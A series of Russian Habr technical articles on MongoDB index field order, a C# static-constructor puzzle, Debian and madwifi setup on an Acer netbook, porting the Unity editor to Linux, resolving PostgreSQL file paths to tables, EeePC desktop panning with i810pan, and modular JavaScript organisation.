Почему? Причина проста, дело в структуре индекса который мы создали. Для примера выше, документы имеющие {“country”: “A”} и документы имеющие {“country”: “G”} отсортированы в индиксе по {“carsOwned”: 1},
но они сортируются независимо друг от друга. Они не отсортированы вместе! Рассмотрим диаграмму ниже:
На левой схеме показан порядок обхода документов по индексу который мы создали. После того как все документы будут найдены, их нужно будет отсортировать.
На правой схеме альтернативный индекс { “carsOwned”: 1, “country”: 1}. В этом случае найденые документы будут уже в отсортированном виде.
Этот тонкий момент эффективности привел к следующим правилам при индексации:
**Порядок полей должен быть:**
1. Сначала поля которые отбираются по точным значениям.
2. Далее поля по которым будет идти сортировка.
3. И в конце поля для диапазонного фильтра.
*Концовка*
Есть ли компроммис? Да. Запрос будет посещать несколько узлов индекса, что технический необходимо, т.к. обход сортированной части будет происходить до отфильтровывания.
Таким образом новое правило как чистая прибль для многих запросов, но не забывайте что сложность ваших данных может приводить к различным результатам.
Я надеюсь, что это руководство поможет Вам. Удачи. | https://habr.com/ru/post/147053/ | null | ru | null |
# C#: Этюды, часть 7
Сегодня простой этюд, почти без кода.
Допустим, есть некий класс и его статический конструктор:
`static C()
{ Console.WriteLine("from static ctor"); }`
Как известно, статические конструкторы вызываются до первого использования типа. Других ограничений нет, поэтому время его вызова вы не можете контролировать (он может вызваться как в самом начале программы, так и при первом обращении). В частности, если два класса используют друг друга в статических конструкторах, поряд вызова этих конструкторов не определен.
В общем, все очень сложно. Тем не менее, напишите код, который гарантированно вызывает указанный выше статический конструктор как раз в нужном месте.
`Console.WriteLine("before static ctor");
// нужно вызвать здесь
Console.WriteLine("after static ctor");` | https://habr.com/ru/post/113543/ | null | ru | null |
# Acer AOA-110 HOWTO. Часть 2: настройка и введение в эксплуатацию под управлением GNU/Debian Linux
*Статья состоит из нескольких частей: так удобно и писать, и читать.*
В [предыдущей части](http://pas.habrahabr.ru/blog/56797/) нетбук был рассмотрен с аппаратной «точки» зрения, в этой рассмотрены особенности установки и эксплуатации на нём ОС Linux.
**Операционная система: муки выбора.**
Собственно, я в большей степени FreeBSD-юзер. Она успешно работает на моем основном рабочем компьютере и на окружающих меня серверах. Я ее достаточно хорошо знаю и умею эффективно с ней работать.
Сначала я подумал установить на нетбук FreeBSD. Но, посмотрев, с какой скоростью производится компилирование исходников на платформе, я отказался от этой затеи (можно, конечно, было поставить уже скомпилированные пакеты, но это не true, да и вообще, эта система заточена на нормальную работу именно с портами). Поэтому я решил установить чего-нибудь Linux'ообразное. Gentoo, к сожалению, не подошел по тем же причинам, что и FreeBSD (а именно, из-за source-based). Всякие попсовые \*ubuntu я ставить не хотел по ряду причин, в том числе и идеологических. Однако, я решил поставить то, на чем вышеуказанные \*ubuntu основываются: GNU/Debian Linux (Lenny). В wiki на сайте Debian я нашел соответствующий туториал: [ru/DebianAcerOne](http://wiki.debian.org/ru/DebianAcerOne).
**Установка ОС и введение в эксплуатацию**
Делал я практически все по вышеуказанному мануалу. Правда, по поводу некоторых вещей пришлось активно гуглить, но в конце концов я решил возникшие проблемы.
Предвидя совершенно не интересную процедуру по подготовке загрузочной флэшки, я решил ее исключить, воспользовавшись внешним USB-приводом. В таких случаях очень полезная вещь. Я пользовался netinstall-диском, поэтому, для установки потребовалось рабочее проводное подключение к интернету. Установщик увидел и WLAN-адаптер, но родной драйвер полурабочий, поэтому установиться из беспроводной сети не получилось.
Установку я произвел вполне стандартную, хард разметил одним куском (плюс своп), практически все остальные опции — дефолтные. При установке на flash-накопитель рекомендуют использовать ext2, либо ext3 с дополнительными опциями монтирования «noatime» и «nodiratime». Лично я использовал ФС ext2 (когда доставят из далекого Китая 1.8" жесткий диск — тогда заюзаю ext3).
Про беспроводный интерфейс надо отдельно сказать несколько слов. Как я уже говорил, в нетбуке используется miniPCIe-адаптер от Atheros. По идее, его поддержка осуществляется «кошерными» драйверами «ath5k», которые присутствуют в системе «из коробки». Однако, хоть интерфейс /dev/wifi0 и был в системе, пытки wlconfig'а и иже с ними показали, что этому вопросу придется уделить больше времени. Изучение кучки ссылок в Google по интересующем вопросу показали, что одним из решений проблемы является использование Madwifi, которое хоть и не «кошерное» для opensource-адептов, но вполне рабочее. Ок, Madwifi, так Madwifi, значит, ставим.
Поиск по репозиториям Debian Lenny показал, что есть три пакета, относящихся к делу:
`madwifi-modules-2.6.26-1-686
madwifi-source
madwifi-tools`
С бинарниками грустно, так как версия ядра уже сама по себе в репозиториях свежее (2.6.26-2-686). Ну ничего, я же FreeBSD-юзер, собирать из сырцов мне не привыкать. Итак, ставим требуемые для сборки пакеты с помощью aptitude: build-essential, необходимые linux-headers, madwifi-source, madwifi-tools (может чего забыл — все нужное выкачается зависимостями). Затем переходим в директорию с исходниками:
`cd /usr/src/modules/madwifi/`
Если у вас уже имеются в системе модули madwifi, то следует их выгрузить и положить интерфейсы, порожденные модулями. Для этого есть специальные скрипты в директории ./scripts/ (find-madwifi-modules.sh и madwifi-unload):
`ifconfig ath0 down
ifconfig wlan0 down
cd ./scripts
./madwifi-unload
./find-madwifi-modules.sh $(uname -r)
cd ..`
Теперь можно приступать к компиляции и установки:
`make && make install`
Если все прошло успешно, подгружаем скомпилированный модуль:
`modprobe ath_pci`
Чтобы при загрузке системы подгружались именно модули madwifi вместо ath5k, надо привести файл /etc/modprobe.d/madwifi к следующему виду:
`## ath5k (mac80211)
## Comment out the following line, and uncomment all of the
## madwifi modules below to use the athk module
blacklist ath5k
## madwifi (non-free)
#blacklist ath_hal
#blacklist ath_pci
#blacklist ath_rate_amrr
#blacklist ath_rate_onoe
#blacklist ath_rate_sample
#blacklist wlan
#blacklist wlan_acl
#blacklist wlan_ccmp
#blacklist wlan_scan_ap
#blacklist wlan_scan_sta
#blacklist wlan_tkip
#blacklist wlan_wep
#blacklist wlan_xauth`
Чтобы заработал светодиодный индикатор WiFi-сети, надо поменять некоторые параметры sysctl:
`dev.wifi0.ledpin=3
dev.wifi0.softled=1`
Рекомендую прописать их в файл /etc/sysctl.d/madwifi.conf, в этом случае параметры будут применяться при загрузке системы. Еще один момент: я заметил, что при выходе из спящего режима, драйвера madwifi не функционируют корректно. Поэтому, выполнив следующую команду, мы делаем так, чтобы при переходе в спящий режим модуль выгружался, а при пробуждении подгружался:
`echo "SUSPEND_MODULES=ath_pci" > /etc/pm/config.d/madwifi`
Далее можно ставить какой-нибудь графический менеджер сетей и радоваться жизни. Про Wi-Fi вроде все.
Web-камера завелась «из коробки», мессенжер ее успешно увидел. Звук также, заработал сразу, и вполне нормально.
Чтобы сделать адекватный работу X-ов, я привел файл /etc/X11/xorg.conf к следующему виду:
`Section "ServerLayout"
Identifier "X.org Configured"
Screen 0 "Screen0" 0 0
InputDevice "Mouse0" "CorePointer"
InputDevice "Keyboard0" "CoreKeyboard"
EndSection
Section "Files"
RgbPath "/etc/X11/rgb"
ModulePath "/usr/lib/xorg/modules"
FontPath "/usr/share/fonts/X11/misc"
FontPath "/usr/share/fonts/X11/cyrillic"
FontPath "/usr/share/fonts/X11/100dpi/:unscaled"
FontPath "/usr/share/fonts/X11/75dpi/:unscaled"
FontPath "/usr/share/fonts/X11/Type1"
FontPath "/usr/share/fonts/X11/100dpi"
FontPath "/usr/share/fonts/X11/75dpi"
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"
EndSection
Section "Module"
Load "extmod"
Load "dbe"
Load "dri"
Load "GLcore"
Load "glx"
Load "record"
Load "xtrap"
EndSection
Section "InputDevice"
Identifier "Keyboard0"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc105"
Option "XkbLayout" "us,ru"
Option "XkbVariant" ",winkeys"
Option "XkbOptions" "grp_led:caps,grp:ctrl_shift_toggle"
EndSection
Section "InputDevice"
Identifier "Mouse0"
Driver "mouse"
Option "Protocol" "auto"
Option "Device" "/dev/input/mice"
Option "ZAxisMapping" "4 5 6 7"
EndSection
Section "Monitor"
DisplaySize 195 113
Identifier "Monitor0"
VendorName "AUO"
ModelName "11c2"
EndSection
Section "Device"
Identifier "Card0"
Driver "intel"
VendorName "Intel Corporation"
BoardName "Mobile 945GME Express Integrated Graphics Controller"
BusID "PCI:0:2:0"
#Option "NoAccel"
Option "AccelMethod" "exa"
Option "MigrationHeuristic" "greedy"
#Option "SWcursor"
#Option "ColorKey"
#Option "CacheLines"
#Option "Dac6Bit"
#Option "DRI"
Option "NoDDC"
#Option "ShowCache"
#Option "XvMCSurfaces"
#Option "PageFlip"
EndSection
Section "Screen"
Identifier "Screen0"
Device "Card0"
Monitor "Monitor0"
SubSection "Display"
Viewport 0 0
Depth 1
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 4
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 8
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 15
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 16
EndSubSection
SubSection "Display"
Viewport 0 0
Depth 24
EndSubSection
EndSection`
Там кастомизированы опции, связанные со шрифтами, оптимизацией, разрешением и клавиатурой.
Я установил на нетбук KDE3, так как предпочитаю их. Работают вполне шустро, никаких особых проблем не заметил. В дальнейших планах есть желание прикрутить ко всему этому хозяйству Bluetooth, мобильный телефон в роле модема, GPS-приемник. Возможно, напишу туториалы по этим вопросам. | https://habr.com/ru/post/58315/ | null | ru | null |
# Перенос редактора Unity на Linux: вещи, которые стоило бы сделать заранее
На прошедшей в этом году конференции Unite Europe мы опубликовали наш план развития. И хотя там много классных вещей, лично мне больше всего нравится редактор для Linux. История портирования редактора под Linux похожа на историю добавления поддержки Linux для среды выполнения в Unity 4.0. По большому счету это делается для души, часть сотрудников Unity периодически работала над этим в течение некоторого времени, во многом этот проект является одним из итогов внутренних хакерских недель (hackweek) среди разработчиков Unity — и я бы сказал, что дело продвигается весьма неплохо. Достаточно скоро мы планируем выпустить экспериментальную сборку, которую вы все сможете попробовать.
Портирование редактора на Linux потребовало немало усилий — намного больше, чем перенос среды выполнения. Частично это обусловлено тем, что именно в редакторе воплощено большинство наших собственных технологий (включая сложную интеграцию со сторонними разработками), частично из-за базы данных ресурсов, частично из-за проблем с чувствительностью к регистру. Наш редактор состоит из:
[](http://habrahabr.ru/post/263365/#habracut)
\* Большого количества кода на C++, большая часть которого (но не все) общая с нашей средой выполнения, который, само собой, компилируется под нужную платформу
\* Большого количества кода на C#, работающего поверх Mono
\* Различных библиотек и связующих программ (middleware) от сторонних производителей, которые должны быть перекомпилированы под Linux
Разобравшись с этим можно вернутся к тем вещам, которые стоило бы сделать заранее:
**1. Позаботиться о чувствительности к регистру**
Unity неправильно работает на чувствительных к регистру файловых системах (с чем уже могли столкнуться те пользователи, которые пытались установить и запустить редактор на чувствительной к регистру файловой системе HFS+). В основном это связано с тем, как именно база данных ресурсов Unity хранит пути к ним и связывает их со значениями GUID. Само собой мы пытались учесть все в начале разработки, но если вы не проверяете на практике, как система работает на чувствительных к регистру файловых системах, то она никогда не упадет после того как один из программистов не применит где-нибудь с самыми лучшими намерениями toLower() и не испортит всю идею.
Определенно мне бы хотелось, чтобы мы позаботились об этом заранее, так как исправлять такие вещи задним числом сложно и муторно.
**2. Не использовать #if WINDOWS #else OSX**
Совершенно неожиданный объем работы на раннем этапе переноса редактора под Windows был связан с вещами вроде
```
#ifdef WIN32
return _isnan(val) != 0;
#elif __APPLE_CC__
return std::isnan(val) != 0;
#endif
```
или, как вариант
```
#if UNITY_WIN
// Some Windows-specific codepath
#else
// Some Mac-specific codepath
#endif
```
Вывод: если вы хотите писать переносимый код, всегда делайте что-то разумное (читай: с расчетом на будущее) в случае #else.
**3. Просто не делайте предположений**
Две предыдущие проблемы были очень крупными, следующие помельче
\* Предположения о компиляторах. Для примера возьмем нашу систему отслеживания ошибок (bug reporter), которая писалась во многом отдельно от основного редактора и использует некоторые возможности C++11. Во многих местах этот стандарт… э-э… несколько неопределенный и разные компиляторы реализуют его по разному. Это делает перенос кода C++11 на третий компилятор весьма болезненным. Было очень много ошибок компиляции в духе этот-шаблон-С++-с-кучей-угловых-скобок не совпадает с этим-шаблоном-С++-с-кучей-уголовых-скобок-в-котором-есть-константа-где-то-в-середине.
\* Предположения по поводу родных приложений, включая тем пункты, которые автоматически включаются в меню приложений. Для примера, на Windows вещи вроде «копировать», «вставить» и тому подобное включаются бесплатно, а вот в GTK нет и нам пришлось добавлять их вручную. Не буду врать, в OS X они доже не добавляются автоматически, но реализация для OS X попала в описанную выше ловушку #if WINDOWS #else OSX.
\* Предположения о работе файловых диалогов. На других платформах есть системы обратных вызовов (callback), позволяющие родительскому приложению объяснить диалогу, что некоторые вещи выбирать нельзя. Стандартные виджеты GTK так не работают.
\* Предположения в целом
Вывод: предположения — это источник всех бед. :-)
Несмотря на все вышесказанное, работа определенно была очень интересной, я бы ожидал аналогичных проблем при переносе на новую платформу любого проекта, сравнимого с Unity по размерам и сложности.
Интереса ради опишу решение, от которого нам пришлось отказаться в процессе переноса. Первый вариант использовал чистый X11 для обработки окон и событий, потому что мы не хотели привязываться ни к GTK ни к QT. Из-за этого ранняя система меню была написана на Unity GUI. Мне все еще кажется, что было бы очень круто вернуться к этому когда-нибудь. В Unity 5.1 в качестве встроенного браузера используется CEF, который зависит от GTK, так что мы переключились на GTK для обработки окон и событий для всех систем меню. Но это был единственный случай, когда нам пришлось переделывать что-то заново.
Так как продвигается работа над редактором? Вот что я знаю:
\* будет поддерживаться только 64-битный Linux
\* Аналогично нашей среде выполнения, чтобы не сойти с ума, мы будем официально поддерживать только Ubuntu. Но скорее всего редактор будет работать и в других дистрибутивах.
\* Скорее всего мы будем поддерживать версии Ubuntu начиная с 12.04 (именно на ней мы делаем наши текущие сборки)
\* Зависящие от сторонних библиотек возможности (вроде глобального освещения) будут работать
\* Установщик скорее всего (мы его пока еще не сделали) будет пакетом .deb
\* Некоторые из импортеров моделей, зависящие от стороннего софта (вроде 3ds Max и SketchUp) не будут работать. В качестве обходного пути можно использовать экспорт в FBX
На данный момент все. Небольшой тизер:
Наше сетевое демо двухмерного шутера, экспортируемое на Linux из редактора на Linux.
Linux-редактор в Unity Labs. Шрифты такие маленькие, потому что он запущен на MacBook Pro с Retina. | https://habr.com/ru/post/263365/ | null | ru | null |
# Как определить каким файлам на диске соответствуют PostgreSQL таблицы
Иногда вам нужно определить какому файлу на диске соответствует таблица. У вас имеется путь, полный цифр, такой как ***base/16499/19401*** и вы хотите разобраться в нем. Вы можете смотреть на сообщение об ошибке, которое упоминает имя файла, например:
```
ERROR: could not read block 11857 of relation base/16396/3720450: read only 0 of 8192 bytes
```
##### **В поисках пути отношения**
Вы можете увидеть путь до таблицы используя:
```
SELECT pg_relation_filepath('tablename');
```
но что насчет обратного процесса, получения названия объекта из пути до него? Существует функция **pg\_filenode\_relation**, которая кажется подходящей для этого… но чтобы ее использовать, необходимо быть подключенным к конкретной базе данных, к которой относится этот файл, что подразумевает знание этой связи.
##### **Структура пути до файла**
Вот каким образом можно определить путь до таблиц и баз данных в современной версии PostgreSQL. (Более старые версии используют другой формат, про который можно почитать [здесь](http://blog.endpoint.com/2012/02/postgres-block-error-xyz.html)).
Имеется 3 основных варианта пути:
* Для файлов в табличном пространстве по умолчанию, *base/database\_oid/filenode id for the relation*
* Для файлов из прочих табличных пространств: *pg\_tblspc / tablespace\_oid / tablespace\_version\_subdir / database\_oid / filenode id отношения*
* Для общих отношений: *global/filenode id отношения*
Общие отношения будут обсуждаться в конце. Для первых же двух вариантов, которые являются самыми распространенными, с которыми вы будете чаще всего сталкиваться, последняя часть пути идентична, oid базы и oid отношения.
Обратите внимание, я употребил формулировку "*filenode id отношения*", а не "*oid отношения*". Это связано с тем, что PostgreSQL имеет *карту relfilenode* в файле с именем **pg\_relfilenode.map** для каждой базы данных/табличного пространства. Имена файлов таблиц вовсе не обязательно совпадают с их oid'ами из **pg\_class**, и они могут измениться после запуска **VACUUM FULL, TRUNCATE** и прочих. К примеру:
```
test=> select pg_relation_filepath('a');
pg_relation_filepath
----------------------
base/16385/101565
(1 row)
test=> VACUUM FULL a;
VACUUM
test=> select pg_relation_filepath('a');
pg_relation_filepath
----------------------
base/16385/101577
(1 row)
```
Итак. Как превратить этот путь обратно в имя отношения?
##### **Oid'ы базы данных и filenode ids отношения**
Предположим, Вы получили ошибку из начала этой статьи. Ее можно разбить на несколько частей:
* base: в табличном пространстве по умолчанию
* 16396: в базе данных с oid'ом 16396
* 3720450 filenode id для таблицы с oid'ом 3720450
после чего рассмотреть что значит каждая из них.
##### **Определение базы данных по oid**
Во-первых, необходимо подключиться к любой базе данных в этом PostgreSQl процессе и выполнить:
```
select datname
from pg_database
where oid = 16396
```
(или любой другой oid базы, который вы имеете). Это вернет Вам имя базы данных.
После этого необходимо подключиться к этой базе.
##### **Обратное преобразование relfilenodes на 9.4 версии**
Если Вы используете версию 9.4, или более свежую, то для Вас следующая часть проста:
```
SELECT pg_filenode_relation(0, 3720450);
```
(0 означает «табличное пространство по умолчанию»)
Эта функция выполняет обратное преобразование relfilenode за вас. Таким образом, она просто покажет Вам имя таблицы. Для него не будет показана связь с какой-то схемой, если полученное имя таблицы принадлежит текущему **search\_path**; Можно использовать ***SET search\_path = '';*** перед выполнением функции, для того, чтобы был указан путь вплоть до схемы.
Вы должны быть подключены к *правильной* базе данных, или будет получен неправильный ответ, либо вообще ответ не будет получен.
##### **Обратное преобразование relfilenodes на 9.3 версии**
Если вы используете версию 9.3, или старее, необходимо подключиться к базе данных, в которой находится таблица и выполнить следующий запрос к **pg\_class**:
```
select
n.nspname AS tableschema,
c.relname AS tablename
from pg_class c
inner join pg_namespace n on (c.relnamespace = n.oid)
where c.relfilenode = 3720450;
```
(или любой другой полученный relfilenode id таблицы).
Это расскажет Вам о том, к какой таблице относится эта ошибка.
##### **Нет результатов?**
Что ж, обычно это помогает.
**Relfilenode** также может быть нулем, это в свою очередь означает, что файл расположен посредством **pg\_relfilenode.map**. Это является типичным сценарием для общих и некоторых системных каталогов, их индексов, TOAST таблиц и т.д. К примеру, это могут быть **pg\_database**, **pg\_class** и **pg\_proc**.
##### **Что насчет схемы?**
Вы обратили внимание, что схема (пространство имен) не фигурирует в пути?
В PostgreSQL схемы является только пространством имен внутри базы данных. Они не имеют никакого влияния на то, где физически хранятся таблицы на диске.
##### **Другие пути табличных пространств**
Недавний случай, с которым я столкнулся, был следующей ошибкой:
```
ERROR: could not truncate file "pg_tblspc / 16709 / PG_9.3_201306121 / 16499/19401" to 8 blocks: Permission denied
```
Это не табличное пространство по умолчанию, так как путь начинается с pg\_tblspc.
Сам процесс нахождения таблицы на самом деле тот же. Можно проигнорировать ***pg\_tblspc/nnn/PG\_n.n\_nnnnnn/*** часть и сфокусироваться сразу на ***database\_oid/relation\_oid***, как описано выше для случаев с табличным пространством по умолчанию. Для этого стоит понимать что означает путь.
Таким образом текст ошибки разбивается на следующие части:
* pg\_tblspc: это не табличное пространство по умолчанию
* 16709: это табличное пространство с oid'ом 16709
* PG\_9.3\_201306121: используется PostgreSQL 9.3 с версией каталога 201306121.
* 16499: база данных с oid'ом 16499
* 19401 таблица с relfilenode id 19401
Мы уже обсуждали часть об oid'е базы данных и табличном relfilenode id. Они не отличаются от табличного пространства, только начинаются в другом месте.
Так что насчет части с табличным пространством?
***pg\_tblspc*** является директорией в директории данных PostgreSQL, которая содержит в себе *символьные ссылки* ко всем положениям табличных пространств (или на NTFS, точки соединения для них). Каждая символьная ссылка названа в честь oid табличного пространства. Именно так PostgreSQL находит табличные пространства. SQL команды к табличным пространствам оперируют этими ссылками.
Oid относится к ***pg\_tablespace*** записи для табличного пространства, как видно из:
```
select spcname
from pg_tablespace
where oid = 16709;
```
Внутри директории табличного пространства, имеется еще одна директория, имеющая название, соответствующее версии PostgreSQL. Оно статично для этой версии и единственное применение этому — это множественный доступ нескольких PostgreSQL процессов к одному табличному пространству, например, во время pg\_upgrade. Как правило, имеется только одна запись.
В целом же, структура та же как и для base/ путей — сначала oid базы данных, потом oid отношения.
##### **Глобальные (общие) таблицы**
Имеется еще третья категория ошибок, в случае если Вы ее наблюдаете, то Вы определенно в беде. PostgreSQL имеет общие каталоги — таблицы, которые имеют одинаковое содержимое в каждой базе данных. Они обитают в специальном табличном пространстве с relfilenode id 16709.
Пути к ним начинаются с **global** вместо **base** и у них отсутствует компонент с oid'ом базы данных.
Общие каталоги не отмечены relfilenode в **pg\_class**. То есть Вы не сможете посмотреть, к примеру, **pg\_database** из **pg\_class**. **pg\_filenode\_relation** возвращает null, независимо от того, вызывать ли его с oid'ом табличного пространства по умолчанию, или же с oid'ом глобального табличного пространства 1664.
Выяснение этого является темой для последующей статьи с разобранными связями.
Конечно же, если вы испытываете проблемы с общими каталогами, вы, вероятнее всего, не сможете в принципе запустить базу данных.
##### **Имея дело с повреждениями**
Повреждения базы данных не должно случаться. Но оно может произойти в любом случае. Это могут быть проблемы с железом, баги ядра, или файловой системы, ССД, которые врут о совершении надежных дисковых приливах, глючные сети хранения данных, ну и конечно же баги самого PostgreSQL. Если Вы подозреваете повреждение базы данных, перед тем как что либо предпринять, прочтите и действуйте по советам с [вики странички о повреждениях](https://wiki.postgresql.org/wiki/Corruption).
##### **Внутренности**
Чтобы увидеть как все это работает, запустите макрос relpathbackend в src/include/common/relpath.h. Он вызывает GetRelationPath в src/common/relpath.c.
В мануале рассматривается структура базы данных на диске. [Ссылка](http://www.postgresql.org/docs/current/static/storage-file-layout.html). | https://habr.com/ru/post/275125/ | null | ru | null |
# Расширение рабочего стола
У ноутбуков Asus EeePC иногда не хватает разрешения экрана. Многие окна не помещаются на рабочем столе и их приходится перемещать мышкой что бы увидеть элементы, выходящие за его границы. Так же возникают проблемы с играми. И если под Windows с помощью драйверов можно расширить рабочий стол больше физического разрешения и скроллить его с помощью мышки, то в Linux для того что бы получить такую же возможность придется немного потрудится.
#### Введение
Некоторое время назад X.org потерял возможность устанавливать виртуальное разрешение больше чем физическое и перемещать отображаемую область с помощью мышки. Поэтому для EeePC Дэниел Фишер и Дэвид Гриффит разработали небольшую утилиту i810pan. Эта программа позволяет перемещать отображаемую область рабочего стола в пределах установленного виртуального разрешения. Она использует функцию SetVidMode расширения XF86Vidmode для перемещения отображаемой области. Для своей работы i810pan требует:
* — X.org 1.3 с расширением Vidmode Его наличие можно проверить коммандой
`$ xdpyinfo | grep "VidMode"`
* — RandR 1.2
#### Получение программы
Исходные тексты программы можно получить по адресу <http://users.on.net/~dgriffith/i810pan-new.tgz>. В архиве содержатся следующие файлы:
* about.txt — в этом файле указаны устаревшие команды для запуска старой версии программы. В нем теперь нет необходимости
* COPYING — лицензионное соглашение
* i810pan — скомпилированная версия программы. Будет работать не на всех машинах, поэтому лучше собрать утилиту самому
* i810pan.c — исходные тексты программы
* Makefile — make-файл для упрощения сборки программы
* README — краткая справка
* startpan.sh — скрипт для запуска предыдущей версии программы. Он устарел, поэтому им пользоваться не стоит
* xrandr — утилита для изменения разрешения экрана. Поставляется на тот случай, если у пользователя ее нет
Если i810pan используется на EeePC 701 то можно попробовать запустить собранную версию, но для EeePC 90x ее потребуется собрать самому, так как в ней жестко зашито разрешение экрана.
#### Компиляция
Для сборки программы нам потребуется три дополнительных файла:
1. XTest.h
2. xf86vmode.h
3. libXxf86vm.a
В дебиане они расположены в пакетах x11proto-xext-dev, x11proto-xf86vidmode-dev и libxxf86vm-dev, для их установки надо выполнить следующую команду:
> `# apt-get install x11proto-xext-dev x11proto-xf86vidmode-dev libxxf86vm-dev`
Физическое разрешение экрана жестко задано в исходных текстах программы. Так как она изначально создавалась для EeePC 701, то владельцам EeePC 90x надо найти пару строк в i810pan.c
> `// TODO: figure out real panel dimensions
>
> panel_w = 800;
>
> panel_h = 480;`
и изменить их следующим образом:
> `// TODO: figure out real panel dimensions
>
> panel_w = 1024;
>
> panel_h = 600;`
Теперь выполним команду
> `$ make`
или (если решили не использовать make-файл)
> `$ gcc -o i810pan i810pan.c -lX11 -l Xxf86vm`
В результате мы получили нашу утилиту. Приступим к настройке X-сервера.
#### Настройка X-сервера
Что бы использовать эту утилиту нам надо установить требуемое виртуальное разрешение экрана. Для этого придется слегка подправить xorg.conf, вставив в него следующие строки:
> `DefaultDepth 24
>
> SubSection "Display"
>
> Depth 24
>
> Virtual 2048 2048
>
> EndSubSection`
в секцию «Screen» (это также пригодится при подключении внешнего монитора).
После внесенных изменений необходимо перезапустить иксы (например, нажав Ctrl+Alt+BackSpace, предварительно сохранив все документы).
Наконец-то можно перейти запуску программы.
#### Использование i810pan
Что бы запустить программу надо выполнить две комманды:
> `$ xrandr --fb 1280x1024
>
> # ./i810pan`
Первая устанавливает виртуальное разрешение экрана (в данном примере равное 1280x1024), а вторая запускает утилиту из текущей директории. Обратите внимание что для ее запуска требуются права суперпользователя.
Теперь, если подвести мышку к краю экрана, он начнет перемещаться, показывая содержимое за его границами.
Если мы захотим вернуть все как было, то нам надо выключить утилиту и вернуть рабочий стол в исходное состояние. Вернуть рабочий стол в исходное состояние можно двумя способами — установить виртуальное разрешение равное физическому (для EeePC оно равно 800x480):
> `$ xrandr --fb 1024x600`
или просто сменить видеорежим на требуемый:
> `$ xrandr -s 1024x600`
У каждого из них есть свой недостаток. При использовании первого способа надо сначала вернуть экран в левый верхний угол. А при смене видеорежима происходит отключение монитора что немного раздражает.
#### Заключение
После того как поставил включение и отключение i810pan на горячие клавиши, использовать его стало очень удобно. Единственная проблема с которой я столкнулся — это неадекватное поведение kicker'a, который не обращал внимание на смену разрешения и продолжал висеть по середине экрана. Самый простой способ обойти это — перенести его на левую или верхнюю границу экрана. | https://habr.com/ru/post/51968/ | null | ru | null |
# Организация js кода для джуниоров
С недавних пор я стал работать в сфере web разработки, и еще нахожусь в стадии падавана. Однако недавно я открыл для себя способ организации клиентского javascript кода, который может быть легко интегрирован в любой существующий проект и который легко освоить.
Этот подход называют «Модульный javascript», и под катом мы научимся его применять.
Статья названа так, потому что люди на уровне джедая уже используют более совершенные методики и думаю в комментариях поделятся ими.
Задачу я ставил себе следующую:
«Организовать весь клиентский js код удобным способом, что бы его было легко поддерживать, искать ошибки и дополнять».
Мотивацией этому стала работа с чужим сайтом, где весь js был в одном, огромном файле и попытка дополнить что-то вызывала приступ апатии.
Вся суть методики сводится к разбиению нашего приложения на модули. Я так же называю их «виджетами», потому что так проще воспринимать их суть.
Каждый виджет является обособленной сущностью. Он не знает о других виджетах и не обращается к ним на прямую. Виджет может работать только сам с собой и генерировать события, на которые могут подписываться другие виджеты.
Схематически виджет — это некая часть нашего сайта, у которой есть специфическая функциональность.
Наш тестовый сайт мы можем мысленно разбить на 3 виджета.
1. Глобальный модуль — будет отвечать за инициализацию других модулей.
2. Профиль — отобразит аватарку пользователя (привет Ричард :) ), и меню с направлениями деятельности.
3. Портфолио — отобразит примеры работ по выбранному направлению у этого юзера
А теперь создадим наши модули.
Каждый модуль будет находится в отдельном js файле.
Html разметку и CSS стили мы рассматривать не будем. Отмечу лишь, что для отображения я обычно использую шаблонизатор входящий в состав [underscore.js](http://underscorejs.ru/). А стили, в основном, используются из основного css файла.
##### Глобальный модуль App.js
```
// Модуль представляет из себя переменную, которой присвоено значение самовызывающейся анонимной функции
// Функция возвращает объект, предоставляющий публичный API для работы с модулем
var App = (function(){
//Тут можно определить приватные переменные и методы
//Например
var someArray = []; //Не будет доступен по ссылке App.someArray, не как либо еще вне объекта
//Объект, содержащий публичное API
return {
init: function(){
// Инициализация модуля. В ней мы инициализируем все остальные модули на странице
Profile.init();
Portfolio.init();
}
}
})();
//И инициализируем наш глобальный модуль
App.init();
```
##### Модуль профиля Profile.js
```
var Profile = (function(){
//Приватная переменная хранящая путь до сервера, предоставляющего информацию для модуля
var url = 'http://someweb.com';
//Приватная переменная хранящая корневой html элемент, в котором отрисовывается модуль
var el = '.div-profile';
return {
//Инициализация модуля
init: function(){
// Получим список пунктов меню и аватарку с сервера
var profileData = this.getData(url);
},
getData: function(url){
/*
* Тут будет код ajax запроса на сервер, который в случае успеха сохранит результат в переменную res
*/
//Отрисуем наши данные
this.render(res);
},
render: function(){
/*
* Тут будет код создания html разметки, с использованием вашего любимого шаблонизатора.
* Допустим результирующая строка будет сохранена в переменную html
*/
//Добавим полученную разметку в корневой элемент модуля.
//Для простоты представим что на проекте используется jQuery
$(el).html(html);
//И привяжем DOM события к нужным элементам модуля
this.event();
},
event: function(){
//Пусть пункты меню имеют класс .menu-item
//И содержат атрибут data-list-id
$('.menu-item').click(function(){
var id = $(this).data('list-id');
//Теперь самое важное. Генерируем событие, что пользователь кликнул пункт.
//На это событие и будут подписываться другие модули
//В триггере передадим id выбранного пункта
$(window).trigger('clickItem', {id: id});
});
}
}
})();
```
##### Модуль портфолио Portfolio.js
```
var Portfolio = (function(){
//Ссылка на текущий объект
$this = this;
var el = '.portfolio'
return {
init: function(){
//Повесим слушатель нашего кастомного события. В функцию обработчик передадим пришедшие данные
$(window).on('clickItem', function(e, data){
$this.getData(data.id)
});
},
getData: function(id){
/*
* Тут сделаем запрос на сервер и получим наши работы в портфолио. Пусть они так же сохраняются в res
*/
this.render(res);
},
render: function(data){
/*
* И снова отрисовываем данные удобным вам способом
*/
},
event: function(){
/*
* Навесим нужные события
*/
}
}
})();
```
###### Что это нам дает
* Код разделен по файлам. Легко найти нужное место для изменения
* Модули общаются посредством событий. Можно удалять или заменять модули другими, не трогая код остальных частей приложения
* Процесс внесения новых фич стал более удобным
Например мы захотим добавить новый модуль, который что то делает после того, как пользователь выбрал пункт в профиле. Нам достаточно подписать этот модуль на событие 'clickItem' и выполнить нужные действия.
Мы хотим добавить всплывающее окно, появляющееся при клике на работе в портфолио? Не вопрос. В методе event модуля Portfolio добавим нечто вроде
```
//'.portfolio-item' - класс-обертка, для каждой работы
$('.portfolio-item').click(function(){
$(window).trigger('showModal');
});
```
